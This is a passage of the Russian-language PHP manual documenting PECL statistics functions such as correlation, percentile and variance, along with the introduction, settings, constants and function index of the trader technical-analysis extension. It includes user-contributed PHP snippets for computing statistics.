Возвращает коэффициент корреляции Пирсона для arr1 и arr2, или false в случае возникновения ошибки.

User Contributed Notes

non at dot com 19-Jan-2015 11:30
undefined for me, thus I've implemented my own correlation which is much faster and simpler than the one provided above.

function Corr($x, $y){

$length= count($x);
$mean1=array_sum($x) / $length;
$mean2=array_sum($y) / $length;

$a=0;
$b=0;
$axb=0;
$a2=0;
$b2=0;

for($i=0;$i<$length;$i++)
{
$a=$x[$i]-$mean1;
$b=$y[$i]-$mean2;
$axb=$axb+($a*$b);
$a2=$a2+ pow($a,2);
$b2=$b2+ pow($b,2);
}

$corr= $axb / sqrt($a2*$b2);

return $corr;
}
admin at maychu dot net (Le Cong) 14-Jun-2009 09:58
Please note that this function is reserved for two arrays with continued numbers inside (just integers).
I tested this function and found that it calculate the Pearson's Correlation Coefficient of two arrays.
---
Here's suggested documentation:

stats_stat_correlation — Calculate the Pearson's Correlation Coefficient of two arrays of continued numbers.

Parameters:
arr1 = array (integer1a, interger2a ...)
arr2 = array (integer1b, interger2b ...))
(Note that the count of elements in two arrays must be equal)

Return value: Pearson's Correlation Coefficient in decimal format (ex. 0.934399822094)

Code examples:

<?php
// Provided by admin@maychu.net
$array_x = array(5,3,6,7,4,2,9,5);
$array_y = array(4,3,4,8,3,2,10,5);
$pearson = stats_stat_correlation($array_x,$array_y);
echo $pearson;
?>
umar dot anjum at ymail dot com 04-Mar-2009 10:05
I tried to use this function, but got a not-defined error. Anyway, I have created a set of functions to replace this:

<?php

//Since Correlation needs two arrays, I am hardcoding them
$array1[0] = 59.3;
$array1[1] = 61.2;
$array1[2] = 56.8
$array1[3] = 97.55;

$array2[0] = 565.82;
$array2[1] = 54.568;
$array2[2] = 84.22;
$array2[3] = 483.55;

//To find the correlation of the two arrays, simply call the
//function Correlation that takes two arrays:

$correlation = Correlation($array1, $array2);

//Displaying the calculated Correlation:
print $correlation;

//The functions that work behind the scene to calculate the
//correlation

function Correlation($arr1, $arr2)
{
    $correlation = 0;

    $k = SumProductMeanDeviation($arr1, $arr2);
    $ssmd1 = SumSquareMeanDeviation($arr1);
    $ssmd2 = SumSquareMeanDeviation($arr2);

    $product = $ssmd1 * $ssmd2;

    $res = sqrt($product);

    $correlation = $k / $res;

    return $correlation;
}

function SumProductMeanDeviation($arr1, $arr2)
{
    $sum = 0;

    $num = count($arr1);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + ProductMeanDeviation($arr1, $arr2, $i);
    }

    return $sum;
}

function ProductMeanDeviation($arr1, $arr2, $item)
{
    return (MeanDeviation($arr1, $item) * MeanDeviation($arr2, $item));
}

function SumSquareMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + SquareMeanDeviation($arr, $i);
    }

    return $sum;
}

function SquareMeanDeviation($arr, $item)
{
    return MeanDeviation($arr, $item) * MeanDeviation($arr, $item);
}

function SumMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + MeanDeviation($arr, $i);
    }

    return $sum;
}

function MeanDeviation($arr, $item)
{
    $average = Average($arr);

    return $arr[$item] - $average;
}

function Average($arr)
{
    $sum = Sum($arr);
    $num = count($arr);

    return $sum/$num;
}

function Sum($arr)
{
    return array_sum($arr);
}

?>


Факториал целого числа

  • « stats_stat_correlation
  • stats_stat_independent_t »
  • PHP Manual
  • Функции статистики
  • Факториал целого числа

stats_stat_factorial

(PECL stats >= 1.0.0)

stats_stat_factorial — Факториал целого числа

Описание

stats_stat_factorial(int $n): float

Возвращает факториал целого числа n.

Список параметров

n

Целое число

Возвращаемые значения

Факториал n.

User Contributed Notes

There are no user contributed notes for this page.


Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок

  • « stats_stat_factorial
  • stats_stat_innerproduct »
  • PHP Manual
  • Функции статистики
  • Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок

stats_stat_independent_t

(PECL stats >= 1.0.0)

stats_stat_independent_t — Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок

Описание

stats_stat_independent_t(array $arr1, array $arr2): float

Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок arr1 и arr2.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

arr1

Первый набор значений

arr2

Второй набор значений

Возвращаемые значения

Возвращает значение t или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает скалярное произведение двух векторов

  • « stats_stat_independent_t
  • stats_stat_paired_t »
  • PHP Manual
  • Функции статистики
  • Возвращает скалярное произведение двух векторов

stats_stat_innerproduct

(PECL stats >= 1.0.0)

stats_stat_innerproduct — Возвращает скалярное произведение двух векторов

Описание

stats_stat_innerproduct(array $arr1, array $arr2): float

Возвращает скалярное произведение двух векторов arr1 и arr2.

Список параметров

arr1

Первый массив

arr2

Второй массив

Возвращаемые значения

Возвращает скалярное произведение двух векторов arr1 и arr2, или false в случае ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок

  • « stats_stat_innerproduct
  • stats_stat_percentile »
  • PHP Manual
  • Функции статистики
  • Получить значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок

stats_stat_paired_t

(PECL stats >= 1.0.0)

stats_stat_paired_t — Получить значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок

Описание

stats_stat_paired_t(array $arr1, array $arr2): float

Возвращает значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок arr1 и arr2.

Список параметров

arr1

Первая выборка

arr2

Вторая выборка

Возвращаемые значения

Возвращает значение t или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение процентиля

  • « stats_stat_paired_t
  • stats_stat_powersum »
  • PHP Manual
  • Функции статистики
  • Возвращает значение процентиля

stats_stat_percentile

(PECL stats >= 1.0.0)

stats_stat_percentile — Возвращает значение процентиля

Описание

stats_stat_percentile(array $arr, float $perc): float

Возвращает значение perc-го процентиля массива arr.

Список параметров

arr

Входной массив

perc

Процентиль

Возвращаемые значения

Возвращает значения процентилей входного массива.

User Contributed Notes

aboulang2002 at yahoo dot com 28-Jan-2009 05:22
If you are looking to infer the percentile from a z-score, you can use this function.
It's far from precise but does the job on most circumstances.
The error function ( erf() )is based on the approximation on wikipedia:
http://en.wikipedia.org/wiki/Error_function

<?php
function erf($x)
{
        $pi = 3.1415927;
        $a = (8*($pi - 3))/(3*$pi*(4 - $pi));
        $x2 = $x * $x;

        $ax2 = $a * $x2;
        $num = (4/$pi) + $ax2;
        $denom = 1 + $ax2;

        $inner = (-$x2)*$num/$denom;
        $erf2 = 1 - exp($inner);

        return sqrt($erf2);
}

function cdf($n)
{
        if($n < 0)
        {
                return (1 - erf($n / sqrt(2)))/2;
        }
        else
        {
                return (1 + erf($n / sqrt(2)))/2;
        }
}

// EXAMPLE
$sample = 90;
$avg = 75;
$stddev = 12;

$zscore = ($sample - $avg) / $stddev;
print 'Percentile: ' . cdf($zscore) * 100 . "\n";
?>

Where $n is the z-score

The function cdf() returns the approximed cumulative standard normal distribution ([0..1])

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (Ed) on 24-FEB-2010 which fixes the definition of $a in erf() with the note that it is "out by a factor of -1" in the original code.]
yuvaraj dot v at gmail dot com 11-Dec-2007 04:37
I have looked at the code available in the Math package for percentile. I compared the result obtained with percentile from Excel and found that it doesnt match. So i wrote my own percentile function and verified the result with the Excel's percentile.

For those of you who need the percentile calculation of Excel in php..

<?php
function mypercentile($data,$percentile){
    if( 0 < $percentile && $percentile < 1 ) {
        $p = $percentile;
    }else if( 1 < $percentile && $percentile <= 100 ) {
        $p = $percentile * .01;
    }else {
        return "";
    }
    $count = count($data);
    $allindex = ($count-1)*$p;
    $intvalindex = intval($allindex);
    $floatval = $allindex - $intvalindex;
    sort($data);
    if(!is_float($floatval)){
        $result = $data[$intvalindex];
    }else {
        if($count > $intvalindex+1)
            $result = $floatval*($data[$intvalindex+1] - $data[$intvalindex]) + $data[$intvalindex];
        else
            $result = $data[$intvalindex];
    }
    return $result;
}
?>

The above code may not be elegant.. but it solves my problem..

yuvaraj


Возвращает степенную сумму вектора

  • « stats_stat_percentile
  • stats_variance »
  • PHP Manual
  • Функции статистики
  • Возвращает степенную сумму вектора

stats_stat_powersum

(PECL stats >= 1.0.0)

stats_stat_powersum — Возвращает степенную сумму вектора

Описание

stats_stat_powersum(array $arr, float $power): float

Возвращает сумму power-ой степени вектора, представленного в виде массива arr.

Список параметров

arr

Входной массив

power

Степень

Возвращаемые значения

Возвращает степенную сумму вектора входного массива.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дисперсию

  • « stats_stat_powersum
  • Trader »
  • PHP Manual
  • Функции статистики
  • Возвращает дисперсию

stats_variance

(PECL stats >= 1.0.0)

stats_variance — Возвращает дисперсию

Описание

stats_variance(array $a, bool $sample = false): float

Возвращает дисперсию значений в a.

Список параметров

a

Массив данных, для которого требуется найти стандартное отклонение. Обратите внимание, что все значения массива будут преобразованы в число с плавающей точкой (float).

sample

Указывает, представляет ли a выборку населения; по умолчанию false.

Возвращаемые значения

Возвращает дисперсию в случае успешного выполнения; false в случае возникновения ошибки.

User Contributed Notes

Anonymous 27-Feb-2009 01:43
This will return surprising values for most users, since the default of sample=false is rather unusual when speaking about variance.

Point is:
When using stats_variance($foo,TRUE) the sum is divided by n-1 while the default just divides it by n. So when you expect your variance to be lower you probable wanted to divide by n-1, therefore should set the second parameter =TRUE.


Технический анализ для трейдеров

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Предопределённые константы
  • Функции Trader
    • trader_acos — Векторный тригонометрический арккосинус
    • trader_ad — Индикатор Чайкина Накопление/Распродажа
    • trader_add — Арифметическое сложение вектора
    • trader_adosc — Осциллятор Чайкина
    • trader_adx — Средний индекс направленного движения
    • trader_adxr — Средний рейтинг индекса направленного движения
    • trader_apo — Абсолютный ценовой осциллятор
    • trader_aroon — Индикатор Aroon
    • trader_aroonosc — Осциллятор индикатора Aroon
    • trader_asin — Векторный тригонометрический арксинус
    • trader_atan — Векторный тригонометрический арктангенс
    • trader_atr — Средний истинный диапазон
    • trader_avgprice — Средняя цена
    • trader_bbands — Полосы Боллинджера
    • trader_beta — Бета
    • trader_bop — Баланс сил
    • trader_cci — Индекс товарного канала
    • trader_cdl2crows — Две вороны
    • trader_cdl3blackcrows — Три чёрных ворона
    • trader_cdl3inside — Три дня изнутри вверх и три дня изнутри вниз
    • trader_cdl3linestrike — Тройной удар
    • trader_cdl3outside — Три внешних дня вверх и три внешних дня вниз
    • trader_cdl3starsinsouth — Три южных звезды
    • trader_cdl3whitesoldiers — Три наступающих белых солдата
    • trader_cdlabandonedbaby — Брошенное дитя
    • trader_cdladvanceblock — Отбитое наступление
    • trader_cdlbelthold — Захват за пояс
    • trader_cdlbreakaway — Отрыв
    • trader_cdlclosingmarubozu — Закрытие марубозу
    • trader_cdlconcealbabyswall — Прячущаяся ласточка
    • trader_cdlcounterattack — Контратака
    • trader_cdldarkcloudcover — Завеса из тёмных облаков
    • trader_cdldoji — Дожи
    • trader_cdldojistar — Дожи-звезда
    • trader_cdldragonflydoji — Стрекоза дожи
    • trader_cdlengulfing — Модель поглощения
    • trader_cdleveningdojistar — Вечерняя дожи-звезда
    • trader_cdleveningstar — Вечерняя звезда
    • trader_cdlgapsidesidewhite — Свечная модель "Смежные белые свечи"
    • trader_cdlgravestonedoji — Дожи-надгробие
    • trader_cdlhammer — Молот
    • trader_cdlhangingman — Висельник
    • trader_cdlharami — Паттерн Харами
    • trader_cdlharamicross — Паттерн "Крест Харами"
    • trader_cdlhighwave — Свечная модель "Высокая волна"
    • trader_cdlhikkake — Свечная модель "Крюк"
    • trader_cdlhikkakemod — Модифицированная свечная модель "Крюк"
    • trader_cdlhomingpigeon — Свечная модель "Почтовый голубь"
    • trader_cdlidentical3crows — Свечная модель "Три одинаковые вороны"
    • trader_cdlinneck — Свечная модель "На линии шеи"
    • trader_cdlinvertedhammer — Свечная модель "Перевёрнутый молоток"
    • trader_cdlkicking — Свечная модель "Высокий прыжок"
    • trader_cdlkickingbylength — Высокий прыжок - бык/медведь определяется по длинному марубозу
    • trader_cdlladderbottom — Свечная модель "Ступенчатое дно"
    • trader_cdllongleggeddoji — Свечная модель "Длинноногие доджи"
    • trader_cdllongline — Свечная модель "Длинная свеча"
    • trader_cdlmarubozu — Марубозу
    • trader_cdlmatchinglow — Свечная модель "Совпадение по нижнему уровню"
    • trader_cdlmathold — Фигура Подстилка
    • trader_cdlmorningdojistar — Утренняя звезда дожи
    • trader_cdlmorningstar — Утренняя звезда
    • trader_cdlonneck — Паттерн "У линии шеи"
    • trader_cdlpiercing — Паттерн "Просвет в облаках"
    • trader_cdlrickshawman — Длинноногий дожи
    • trader_cdlrisefall3methods — Бычья/медвежья модель "Три метода"
    • trader_cdlseparatinglines — Разделение
    • trader_cdlshootingstar — Падающая звезда
    • trader_cdlshortline — Свечная модель "Свеча короткой линии"
    • trader_cdlspinningtop — Волчок
    • trader_cdlstalledpattern — Торможение
    • trader_cdlsticksandwich — Прилипший сэндвич
    • trader_cdltakuri — Такури (Стрекоза Доджи с очень длинной нижней тенью)
    • trader_cdltasukigap — Разрыв Тасуки
    • trader_cdlthrusting — Свечная модель "Толчок"
    • trader_cdltristar — Свечная модель "Тристар"
    • trader_cdlunique3river — Свечная модель "Особая впадина три реки"
    • trader_cdlupsidegap2crows — Свечная модель "Перевёрнутые две вороны"
    • trader_cdlxsidegap3methods — Верх/вниз - три метода
    • trader_ceil — Вектор наибольшего целого числа
    • trader_cmo — Осциллятор ценовых моментов Чанде
    • trader_correl — Линейный коэффициент корреляции r-Пирсона
    • trader_cos — Тригонометрический вектор косинуса
    • trader_cosh — Тригонометрический вектор гиперболического косинуса
    • trader_dema — Двойная экспоненциальная скользящая средняя
    • trader_div — Арифметический вектор деления
    • trader_dx — Индекс направленного движения
    • trader_ema — Экспоненциальная скользящая средняя
    • trader_errno — Получить код ошибки
    • trader_exp — Арифметический вектор возведения в степень
    • trader_floor — Вектор наименьшего числа
    • trader_get_compat — Получает режим совместимости
    • trader_get_unstable_period — Получает нестабильный период
    • trader_ht_dcperiod — Преобразование Гильберта - период доминирующего цикла
    • trader_ht_dcphase — Преобразование Гильберта - Фаза доминирующего цикла
    • trader_ht_phasor — Преобразование Гильберта - Phasor Components
    • trader_ht_sine — Преобразование Гильберта - SineWave
    • trader_ht_trendline — Преобразование Гильберта - мгновенная линия тренда
    • trader_ht_trendmode — Преобразование Гильберта - тренд против цикла
    • trader_kama — Адаптивная скользящая средняя Кауфмана
    • trader_linearreg_angle — Линейный регрессионный угол
    • trader_linearreg_intercept — Перехват линейной регрессии
    • trader_linearreg_slope — Линейный регрессионный наклон
    • trader_linearreg — Линейная регрессия
    • trader_ln — Вектор натурального логарифма
    • trader_log10 — Вектор логарифма по основанию-10
    • trader_ma — Скользящая средняя
    • trader_macd — Скользящее среднее сходимость/дивергенция
    • trader_macdext — MACD с управляемым типом MA
    • trader_macdfix — Исправление схождения/расхождения скользящей средней 12/26
    • trader_mama — MESA Адаптивная скользящая средняя
    • trader_mavp — Скользящая средняя с переменным периодом
    • trader_max — Наибольшее значение за указанный период
    • trader_maxindex — Индекс наибольшего значения за указанный период
    • trader_medprice — Средняя цена
    • trader_mfi — Индекс денежных потоков
    • trader_midpoint — Середина отрезка за период
    • trader_midprice — Средняя цена за период
    • trader_min — Наименьшее значение за указанный период
    • trader_minindex — Индекс наименьшего значения за определённый период
    • trader_minmax — Самые низкие и самые высокие значения за указанный период
    • trader_minmaxindex — Индексы самых низких и самых высоких значений за указанный период
    • trader_minus_di — Минус-направленный индикатор
    • trader_minus_dm — Минус-направленное движение
    • trader_mom — Моментум
    • trader_mult — Арифметический вектор произведения
    • trader_natr — Нормализованный средний истинный диапазон
    • trader_obv — Индикатор Балансового объёма
    • trader_plus_di — Плюс-направленный индикатор
    • trader_plus_dm — Плюс-направленное движение
    • trader_ppo — Процентный ценовой осциллятор
    • trader_roc — Скорость изменения: ((цена/предыдущая цена)-1)*100
    • trader_rocp — Коэффициент изменения в процентах: (цена-предыдущая цена)/предыдущая цена
    • trader_rocr100 — Коэффициент изменения курса шкалы: (цена/предыдущая цена)*100
    • trader_rocr — Коэффициент изменения курса: (цена/предыдущая цена)
    • trader_rsi — Индекс относительной силы
    • trader_sar — Параболический SAR
    • trader_sarext — Параболический SAR - расширенный
    • trader_set_compat — Устанавливает режим совместимости
    • trader_set_unstable_period — Устанавливает нестабильный период
    • trader_sin — Векторный тригонометрический синус
    • trader_sinh — Векторный тригонометрический гиперболический синус
    • trader_sma — Простое скользящее среднее
    • trader_sqrt — Векторный квадратный корень
    • trader_stddev — Стандартное отклонение
    • trader_stoch — Стохастический осциллятор
    • trader_stochf — Быстрый стохастический осциллятор
    • trader_stochrsi — Стохастический относительный индекс силы
    • trader_sub — Векторное арифметическое вычитание
    • trader_sum — Суммирование
    • trader_t3 — Тройная экспоненциальная скользящая средняя
    • trader_tan — Векторный тригонометрический тангенс
    • trader_tanh — Тригонометрический вектор Тан
    • trader_tema — Тройная экспоненциальная скользящая средняя
    • trader_trange — Истинный диапазон
    • trader_trima — Треугольная скользящая средняя
    • trader_trix — 1-дневная скорость изменения (ROC) тройной гладкой EMA
    • trader_tsf — Прогноз временного ряда
    • trader_typprice — Типичная цена
    • trader_ultosc — Окончательный, предельный осциллятор
    • trader_var — Вариация
    • trader_wclprice — Взвешенная цена закрытия
    • trader_willr — Процентный диапазон Уильямса
    • trader_wma — Взвешенное скользящее среднее

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль trader - это бесплатная фондовая библиотека с открытым исходным кодом, основанная на TA-Lib. Он предназначен для разработчиков программного обеспечения для торговли, которым необходим технический анализ данных финансового рынка. Наряду со многими индикаторами, такими как ADX, MACD, RSI, Stochastic, TRIX, присутствует распознавание свечных моделей и несколько векторных арифметических и алгебраических функций.

Расчёты можно сделать в двух режимах - TA-Lib и Metastock. Изменение режима с помощью trader_set_compat() повлияет на работу некоторых функций трейдера.

Некоторые функции трейдера дают разные результаты в зависимости от "отправной точки" задействованных данных. Это часто называют функцией, имеющей воспоминания. Примером такой функции является экспоненциальная скользящая средняя. Можно управлять нестабильным периодом (объёмом данных для удаления), используя trader_set_unstable_period().

Расширенную документацию по индикаторам, формулам и реализациям на других языках программирования можно найти по ссылке » tadoc.org.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модуль trader основан на » TA-Lib. TA-Lib полностью интегрирован в модуль, поэтому внешние библиотеки не нужны.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/trader.

DLL для этого модуля PECL доступен по ссылке » http://windows.php.net/downloads/pecl/releases/trader/.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Trader
Имя | По умолчанию | Место изменения | Список изменений
trader.real_precision | 3 | PHP_INI_ALL | С версии trader 0.2.1
trader.real_round_mode | HALF_DOWN | PHP_INI_ALL | С версии trader 0.3.0

Краткое разъяснение конфигурационных директив.

trader.real_precision int

Все значения в возвращаемых массивах будут округлены до этой точности. Однако расчёты внутри TA-Lib происходят с неокругленными значениями.

trader.real_round_mode string

Контролирует реальную политику округления trader. Допустимые значения: HALF_UP, HALF_DOWN, HALF_EVEN и HALF_ODD. Поведение идентично функции round(), используемой с аргументом mode.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

TRADER_MA_TYPE_SMA (int)
TRADER_MA_TYPE_EMA (int)
TRADER_MA_TYPE_WMA (int)
TRADER_MA_TYPE_DEMA (int)
TRADER_MA_TYPE_TEMA (int)
TRADER_MA_TYPE_TRIMA (int)
TRADER_MA_TYPE_KAMA (int)
TRADER_MA_TYPE_MAMA (int)
TRADER_MA_TYPE_T3 (int)
TRADER_REAL_MIN (float)
TRADER_REAL_MAX (float)
TRADER_FUNC_UNST_ADX (int)
TRADER_FUNC_UNST_ADXR (int)
TRADER_FUNC_UNST_ATR (int)
TRADER_FUNC_UNST_CMO (int)
TRADER_FUNC_UNST_DX (int)
TRADER_FUNC_UNST_EMA (int)
TRADER_FUNC_UNST_HT_DCPERIOD (int)
TRADER_FUNC_UNST_HT_DCPHASE (int)
TRADER_FUNC_UNST_HT_PHASOR (int)
TRADER_FUNC_UNST_HT_SINE (int)
TRADER_FUNC_UNST_HT_TRENDLINE (int)
TRADER_FUNC_UNST_HT_TRENDMODE (int)
TRADER_FUNC_UNST_KAMA (int)
TRADER_FUNC_UNST_MAMA (int)
TRADER_FUNC_UNST_MFI (int)
TRADER_FUNC_UNST_MINUS_DI (int)
TRADER_FUNC_UNST_MINUS_DM (int)
TRADER_FUNC_UNST_NATR (int)
TRADER_FUNC_UNST_PLUS_DI (int)
TRADER_FUNC_UNST_PLUS_DM (int)
TRADER_FUNC_UNST_RSI (int)
TRADER_FUNC_UNST_STOCHRSI (int)
TRADER_FUNC_UNST_T3 (int)
TRADER_FUNC_UNST_ALL (int)
TRADER_FUNC_UNST_NONE (int)
TRADER_COMPATIBILITY_DEFAULT (int)
TRADER_COMPATIBILITY_METASTOCK (int)
TRADER_ERR_SUCCESS (int)
TRADER_ERR_LIB_NOT_INITIALIZE (int)
TRADER_ERR_BAD_PARAM (int)
TRADER_ERR_ALLOC_ERR (int)
TRADER_ERR_GROUP_NOT_FOUND (int)
TRADER_ERR_FUNC_NOT_FOUND (int)
TRADER_ERR_INVALID_HANDLE (int)
TRADER_ERR_INVALID_PARAM_HOLDER (int)
TRADER_ERR_INVALID_PARAM_HOLDER_TYPE (int)
TRADER_ERR_INVALID_PARAM_FUNCTION (int)
TRADER_ERR_INPUT_NOT_ALL_INITIALIZE (int)
TRADER_ERR_OUTPUT_NOT_ALL_INITIALIZE (int)
TRADER_ERR_OUT_OF_RANGE_START_INDEX (int)
TRADER_ERR_OUT_OF_RANGE_END_INDEX (int)
TRADER_ERR_INVALID_LIST_TYPE (int)
TRADER_ERR_BAD_OBJECT (int)
TRADER_ERR_NOT_SUPPORTED (int)
TRADER_ERR_INTERNAL_ERROR (int)
TRADER_ERR_UNKNOWN_ERROR (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции Trader

Содержание

  • trader_acos — Векторный тригонометрический арккосинус
  • trader_ad — Индикатор Чайкина Накопление/Распродажа
  • trader_add — Арифметическое сложение вектора
  • trader_adosc — Осциллятор Чайкина
  • trader_adx — Средний индекс направленного движения
  • trader_adxr — Средний рейтинг индекса направленного движения
  • trader_apo — Абсолютный ценовой осциллятор
  • trader_aroon — Индикатор Aroon
  • trader_aroonosc — Осциллятор индикатора Aroon
  • trader_asin — Векторный тригонометрический арксинус
  • trader_atan — Векторный тригонометрический арктангенс
  • trader_atr — Средний истинный диапазон
  • trader_avgprice — Средняя цена
  • trader_bbands — Полосы Боллинджера
  • trader_beta — Бета
  • trader_bop — Баланс сил
  • trader_cci — Индекс товарного канала
  • trader_cdl2crows — Две вороны
  • trader_cdl3blackcrows — Три чёрных ворона
  • trader_cdl3inside — Три дня изнутри вверх и три дня изнутри вниз
  • trader_cdl3linestrike — Тройной удар
  • trader_cdl3outside — Три внешних дня вверх и три внешних дня вниз
  • trader_cdl3starsinsouth — Три южных звезды
  • trader_cdl3whitesoldiers — Три наступающих белых солдата
  • trader_cdlabandonedbaby — Брошенное дитя
  • trader_cdladvanceblock — Отбитое наступление
  • trader_cdlbelthold — Захват за пояс
  • trader_cdlbreakaway — Отрыв
  • trader_cdlclosingmarubozu — Закрытие марубозу
  • trader_cdlconcealbabyswall — Прячущаяся ласточка
  • trader_cdlcounterattack — Контратака
  • trader_cdldarkcloudcover — Завеса из тёмных облаков
  • trader_cdldoji — Дожи
  • trader_cdldojistar — Дожи-звезда
  • trader_cdldragonflydoji — Стрекоза дожи
  • trader_cdlengulfing — Модель поглощения
  • trader_cdleveningdojistar — Вечерняя дожи-звезда
  • trader_cdleveningstar — Вечерняя звезда
  • trader_cdlgapsidesidewhite — Свечная модель "Смежные белые свечи"
  • trader_cdlgravestonedoji — Дожи-надгробие
  • trader_cdlhammer — Молот
  • trader_cdlhangingman — Висельник
  • trader_cdlharami — Паттерн Харами
  • trader_cdlharamicross — Паттерн "Крест Харами"
  • trader_cdlhighwave — Свечная модель "Высокая волна"
  • trader_cdlhikkake — Свечная модель "Крюк"
  • trader_cdlhikkakemod — Модифицированная свечная модель "Крюк"
  • trader_cdlhomingpigeon — Свечная модель "Почтовый голубь"
  • trader_cdlidentical3crows — Свечная модель "Три одинаковые вороны"
  • trader_cdlinneck — Свечная модель "На линии шеи"
  • trader_cdlinvertedhammer — Свечная модель "Перевёрнутый молоток"
  • trader_cdlkicking — Свечная модель "Высокий прыжок"
  • trader_cdlkickingbylength — Высокий прыжок - бык/медведь определяется по длинному марубозу
  • trader_cdlladderbottom — Свечная модель "Ступенчатое дно"
  • trader_cdllongleggeddoji — Свечная модель "Длинноногие доджи"
  • trader_cdllongline — Свечная модель "Длинная свеча"
  • trader_cdlmarubozu — Марубозу
  • trader_cdlmatchinglow — Свечная модель "Совпадение по нижнему уровню"
  • trader_cdlmathold — Фигура Подстилка
  • trader_cdlmorningdojistar — Утренняя звезда дожи
  • trader_cdlmorningstar — Утренняя звезда
  • trader_cdlonneck — Паттерн "У линии шеи"
  • trader_cdlpiercing — Паттерн "Просвет в облаках"
  • trader_cdlrickshawman — Длинноногий дожи
  • trader_cdlrisefall3methods — Бычья/медвежья модель "Три метода"
  • trader_cdlseparatinglines — Разделение
  • trader_cdlshootingstar — Падающая звезда
  • trader_cdlshortline — Свечная модель "Свеча короткой линии"
  • trader_cdlspinningtop — Волчок
  • trader_cdlstalledpattern — Торможение
  • trader_cdlsticksandwich — Прилипший сэндвич
  • trader_cdltakuri — Такури (Стрекоза Доджи с очень длинной нижней тенью)
  • trader_cdltasukigap — Разрыв Тасуки
  • trader_cdlthrusting — Свечная модель "Толчок"
  • trader_cdltristar — Свечная модель "Тристар"
  • trader_cdlunique3river — Свечная модель "Особая впадина три реки"
  • trader_cdlupsidegap2crows — Свечная модель "Перевёрнутые две вороны"
  • trader_cdlxsidegap3methods — Верх/вниз - три метода
  • trader_ceil — Вектор наибольшего целого числа
  • trader_cmo — Осциллятор ценовых моментов Чанде
  • trader_correl — Линейный коэффициент корреляции r-Пирсона
  • trader_cos — Тригонометрический вектор косинуса
  • trader_cosh — Тригонометрический вектор гиперболического косинуса
  • trader_dema — Двойная экспоненциальная скользящая средняя
  • trader_div — Арифметический вектор деления
  • trader_dx — Индекс направленного движения
  • trader_ema — Экспоненциальная скользящая средняя
  • trader_errno — Получить код ошибки
  • trader_exp — Арифметический вектор возведения в степень
  • trader_floor — Вектор наименьшего числа
  • trader_get_compat — Получает режим совместимости
  • trader_get_unstable_period — Получает нестабильный период
  • trader_ht_dcperiod — Преобразование Гильберта - период доминирующего цикла
  • trader_ht_dcphase — Преобразование Гильберта - Фаза доминирующего цикла
  • trader_ht_phasor — Преобразование Гильберта - Phasor Components
  • trader_ht_sine — Преобразование Гильберта - SineWave
  • trader_ht_trendline — Преобразование Гильберта - мгновенная линия тренда
  • trader_ht_trendmode — Преобразование Гильберта - тренд против цикла
  • trader_kama — Адаптивная скользящая средняя Кауфмана
  • trader_linearreg_angle — Линейный регрессионный угол
  • trader_linearreg_intercept — Перехват линейной регрессии
  • trader_linearreg_slope — Линейный регрессионный наклон
  • trader_linearreg — Линейная регрессия
  • trader_ln — Вектор натурального логарифма
  • trader_log10 — Вектор логарифма по основанию-10
  • trader_ma — Скользящая средняя
  • trader_macd — Скользящее среднее сходимость/дивергенция
  • trader_macdext — MACD с управляемым типом MA
  • trader_macdfix — Исправление схождения/расхождения скользящей средней 12/26
  • trader_mama — MESA Адаптивная скользящая средняя
  • trader_mavp — Скользящая средняя с переменным периодом
  • trader_max — Наибольшее значение за указанный период
  • trader_maxindex — Индекс наибольшего значения за указанный период
  • trader_medprice — Средняя цена
  • trader_mfi — Индекс денежных потоков
  • trader_midpoint — Середина отрезка за период
  • trader_midprice — Средняя цена за период
  • trader_min — Наименьшее значение за указанный период
  • trader_minindex — Индекс наименьшего значения за определённый период
  • trader_minmax — Самые низкие и самые высокие значения за указанный период
  • trader_minmaxindex — Индексы самых низких и самых высоких значений за указанный период
  • trader_minus_di — Минус-направленный индикатор
  • trader_minus_dm — Минус-направленное движение
  • trader_mom — Моментум
  • trader_mult — Арифметический вектор произведения
  • trader_natr — Нормализованный средний истинный диапазон
  • trader_obv — Индикатор Балансового объёма
  • trader_plus_di — Плюс-направленный индикатор
  • trader_plus_dm — Плюс-направленное движение
  • trader_ppo — Процентный ценовой осциллятор
  • trader_roc — Скорость изменения: ((цена/предыдущая цена)-1)*100
  • trader_rocp — Коэффициент изменения в процентах: (цена-предыдущая цена)/предыдущая цена
  • trader_rocr100 — Коэффициент изменения курса шкалы: (цена/предыдущая цена)*100
  • trader_rocr — Коэффициент изменения курса: (цена/предыдущая цена)
  • trader_rsi — Индекс относительной силы
  • trader_sar — Параболический SAR
  • trader_sarext — Параболический SAR - расширенный
  • trader_set_compat — Устанавливает режим совместимости
  • trader_set_unstable_period — Устанавливает нестабильный период
  • trader_sin — Векторный тригонометрический синус
